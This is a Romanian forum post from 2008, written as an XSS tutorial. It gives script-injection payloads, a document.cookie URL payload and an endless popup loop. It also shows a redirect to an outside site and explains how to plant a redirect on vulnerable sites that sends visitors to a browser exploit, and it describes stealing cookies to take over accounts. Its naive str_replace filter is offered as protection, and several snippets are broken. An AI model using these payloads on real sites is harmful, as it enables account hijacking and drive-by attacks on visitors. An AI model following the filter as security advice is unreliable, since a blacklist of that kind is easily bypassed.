maladon Administrator


Data inscrierii: 24/Mar/2008 Mesaje: 147
|
Trimis: 26/03/2008 11:38 Titlul subiectului: Tutorial perfect despre XSS |
|
|
Tutorial "complet" despre XSS
Introducere:
1-XSS pentru incepatori!
2-XSS-Faq,Help,Attack
1-XSS pentru incepatori
Deobicei, pentru a gasi xss pe un site, hackerii se folosesc de:
Cod:
<script>alert(/hello/)</scripr>
Sau chiar
Cod:
"><script>alert(/hello/)</script>
Dar cred ca va cenit intrebarea – Dece?
Cred ca stiti ca xss vulnerabilitatile apar din cauza filtrarii proaste a codului…
Cod:
<html>
<head>
<title>Xss Vulnerabilitate</title>
</head>
<!-- html --!><!--cel mai bine e daca folositi html--!>
.....................
<form action="" method=post>
<b>codul Dvs:</b></br></br> <input type="text" name="xss"></br></br>
<input type="submit" value="XSSvul"></br>
</form>
......................
<!—mai departe e scriptul --!>
<?
if(isset($xss))
{
....
//Daca exista xss atunci vom indeplini
echo \'$test \'; // Aici este xss deoarece filtrul e slab de tot sau in genere nu este!!!
Asa ceva se face atunci cind Dvs. va inregistrati pe un site si la urma va arata loginul.
Iar acum puteti sa va imaginati ce va fi
Cod:
<script>alert(/hello/)</script>
daca veti vedea alerta, atunci puteti face o ataca, adica sa schimbati codul in loc de <script>
Acesta este un exemplu de xss pasiv..
Iar acum veti vedea un exemplu de xss active!
}
else
{
Daca nu, iesim
exit;
}
<?
Deci sa vedem si un xss active!
Exista forumuri, chaturi, carte de oaspeti si nu va-ti gindit daca ar fi sa puneti in loc de cuvinte de exemplu:
Cod:
<script>alert(/hello/)</script>
Daca filtrul e rau, atunci noi iarasi putem scoate cookies!
Iata un exemplu de filtru:
Acum veti vedea un exemplu de filtru scris in php si care filtreaza $path iar in locul ei, poti pune oricare altul…
[PHP]<?
$message = str_replace("\\"","",$message);// filtreaza ghilimelele
$message = str_replace("\\\'","",$message);// filtreaza doar o parte a ghilimelelor
$message = str_replace("<","",$message); // filtram < ca sa nu poata deschide tagurile
$message = str_replace(">","",$message);// filtram > ca san u poata inchide tagurile
$message = str_replace("#","",$message); // Simbol tare …
$message = str_replace("/","",$message);// slash
$message = str_replace("script","",$message ); // cred ca singuri ati inteles dece…
$message = str_replace("(","",$message); // filtreaza parantezele
$message = str_replace(")","",$message); // filtreaza parantezele
$message = str_replace("%","",$message); // % se foloseste in adresele url si de aceea este primejdios
Cred ca acest script va va ajuta sa fiti mai aparati împotriva xss!
?>[/PHP]
Acum stiti cite ceva in planul securitatii contra XSS!
2-XSS-Faq,Help,Attack
De la inceput un mic faq despre XSS.
Vulnerabilitatile XSS in zilele noastre pot asigură pericole in omenirea virtuala .
Dar mai intii toate le luam de la inceput.
Deci abriviatura XSS se descifreaza ca : "Cross Site Scripting". E bine sa-l numim XSS insa nu CSS asa cum CSS a aparut mai devreme si se descifreaza ca : "Cascading Style Sheets" (se foloseste la perfecatarea unei pagine HTML).
Cross inseamna <cruce>, deaceea prima prima litera <C> este schimbata cu <X>.
XSS este o vulnerabilitate pe un server, ce îngăduie introducerea unui script pe pagina HTML de pe un server , ca rezultat , folosirea codului intr-o variabila cu un continut nefiltrat.
Variabila nefiltrata este o variabila inaintea ce va fi folosita in script (de ex: PHP) nu se verifica daca contine simboluri interzise ca : <>,\'," si multe altele.
Mai intii de toate continutul (insemnatatea) variabilei se transmite de la pagina HTML, incarcata in browser-ul utilizatorului (user-ului), scriptului PHP (prin operatorii POST sau GET).
Operatorul POST oferă variabilile printr-un masiv, ce nu este aratat pe adresa din browser.
Operatorul GET este identificat pe adresa browser-ului astfel :
http://www.mysite.com/smile.php?name=News&file=article&sid=256&mode=&orde=0
Deci scriptului Smile.php se transmit variabilile :$name - cu continutul "News", $file - cu continutul "article" s.m.d
Desigur e mai usor de exploatat operatorul Get, deaceea, hacker-ul salveaza pagina site-ului spart si in adresa.
Asa se sa inetializat ca majoritatea hacker-ilor folosesc XSS numai pentru capatarea cookies (cookies in majoritatea cazurilor pastreaza sesiunirile, in caz daca un hacker are cookies-urile unui alt utilizator de pe forum, asa cum pe forum orice user se inregistreaza, v-a avea control asupra account-ului, clar daca parola nu este descifrata si chiar daca e asa nu e greu sa o descifrezi).
Insa bug-urile XSS nu se opresc doar aici.
Deci ce putem face noi cu susținerea vulerabilitatilor XSS ?
1-) Scoterea nelimitatelor ferestre (exemplu mai jos), sau mesaje (metoda <confirm> sau <alert> ) ca rezultat oarecare procedura al utilizatorului (tastarea, intrarea pe sait). Sau chiar redirectia pe un alt server.
Incercati sa introduceti urmatorul cod (fara schimbare) intr-un sait vulnerabil:
window.location.href=\'\'http://rohack.110mb.com"
Mai intii testind pe calculatorul personal, incercati urmatorul script. Cream un fail 1.html cu un astfel de continut:
<Html>***
for(i=1;i]0;i++){open(\'1.html\',\'new\'+i);}
si deschidetil in absolut orice browser
2-) Sa imprumutam informatia personala a user-ului. In inițialul rind aici va fi si putina descriere a cookies-ului (document.cookie),adica si imprumutarea fiind un atribut de securitate a user-ului (pe aceasta tema) . Tot in aceasta tema intra si imprumutarea informatiei despre sistema user-ului si browser-ului (obiectul navigator), IP, istoria site-urilor vazute inainte (obiectul history ca masiv; pagina prezenta history[0], precedenta history[-1], in exhaustiv pagini history.length) si multe altele. Iata exemplu de un script ce intoarce adresa IP a user-ului in variabila IP si numele computerului in variabila host (este testata in Opera, Mozilla, Mozilla Firefox):
myAddress=java.net.InetAddress.getlocalHost();
myAddress2=java.net.InetAddress.getlocalHost();
host=myAddress.get.HostName();
ip=myAddress2.getHostAddress();
3-) Sunt nespus de multe vulnerabilitati ale browser-urilor in care la prelucrarea unui kod cheama DOS-ul, sau permite acces la unele file-uri sau altceva neplacut user-ului. Cele mai des auzite vazute si utilizate browser-e (Internet Explorer, NetScape, Mozilla, MozillaFirefox, Opera) sunt vulnerabile. Ce sa facem cu un cod, cynd un user a intrat pe un site cu o vulnerabilitate XSS ? Introducem un exploit (Il putetzi gasi aici in thread-ul exploit-urilor cu denumirea de 0-day) in site-ul unde este vulnerabilitatea XSS astfel :
window.location.href=\'\'EXPLOIT\'\' (decin intre ghilimele in loc de cuvyntul EXPLOIT folosim adresa unde se afla exploit-ul).
Acum victima cind va intra pe pagina serverului, unde noi am insertat kodul v-a redicta pe pagina-exploit, unde v-a indeplini kodul dat. (In cazul nostru calc.exe)
Atyt... Clara ca posibilitatile XSS-ului sunt ft mari, nu le pot descrie eu singur, vulnerabilitatile sunt tot mai multe si mai numeroase pe timp ce trece, insa cele mai importante si mai populare vor fi pe un post aparte.
Site Dvs. are nereguli cu XSS sau Cross Site Scripting? Acesta este o problema foarte frecvent intilnita la multe siteuri, inclusiv foarte faimoase de injectare de cod JavaScript in pagini din surse nesigure.
Ce dificultăți pot aparea? De multe ori este pur si rudimentar inofensiv insa pot aparea si complicații serioase de gen - atac la conturi inregistrate, redirectari nedorite sau popups si altele. De obicei nu sint probleme cind informatiile nu sint decit afisate si nu exista inregistrare de conturi sau cookies. In aceste cazuri nu prea este mare fapt rau de facut. Insa in alte cazuri problemele pot fi imprevizibile. Mad
In plus, este si o problema de prestigiu pentru un site cunoscut sa se spuna despre el ca are probleme de acest gen. Orice problema cit de mica ar trebui corectata imediat.
Problema apare din nefiltrarea parametrilor transmisi paginilor cind vine vorba de afisari in pagina. In egala masura pot fi afectate pagini ASP sau PHP sau Perl sau orice altceva. Majoritatea exemplelor gasite se refera la afisarea document.cookie...
De exemplu pentru PHP este undeva (pagina.xxx):
Cod:
<?php echo "Parametrul dvs. este: ".$_GET[\'param\']; ?>
Sau pentru ASP:
Cod:
<% Response.Write "Parametrul dvs. este:" & Request.QueryString("param") %>
Pentru acest caz in mod normal exista link-uri care apeleaza pagina cu diversi parametri. Insa acesti parametri pot fi creati astfel incit sa execute cod JavaScript ca venind din porțiunea site-ului:
Cod:
pagina.xxx?param=1%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
Asta pur si modest o sa transforme pagina in:
Parametrul dvs. este:
Cod:
1<script>alert(document.cookie)</script>
Insa se pot face mult mai mult decit afisa cookie. De exemplu chema JS de pe alte servere care practic pot modifica pagina in extrem multe feluri. Astea intervin mai ales cind codul injectat este salvat in baza de date (semnaturi, postari, comentarii, etc.), care o sa fie afisat de fiecare data cind pagina e afisata. Sau se pot modifica sau transmite cookie cu informatii despre sesiune sau informatii statistice, lucruri nedorite pe toate site-urile [ Varianta TXT ]  |
|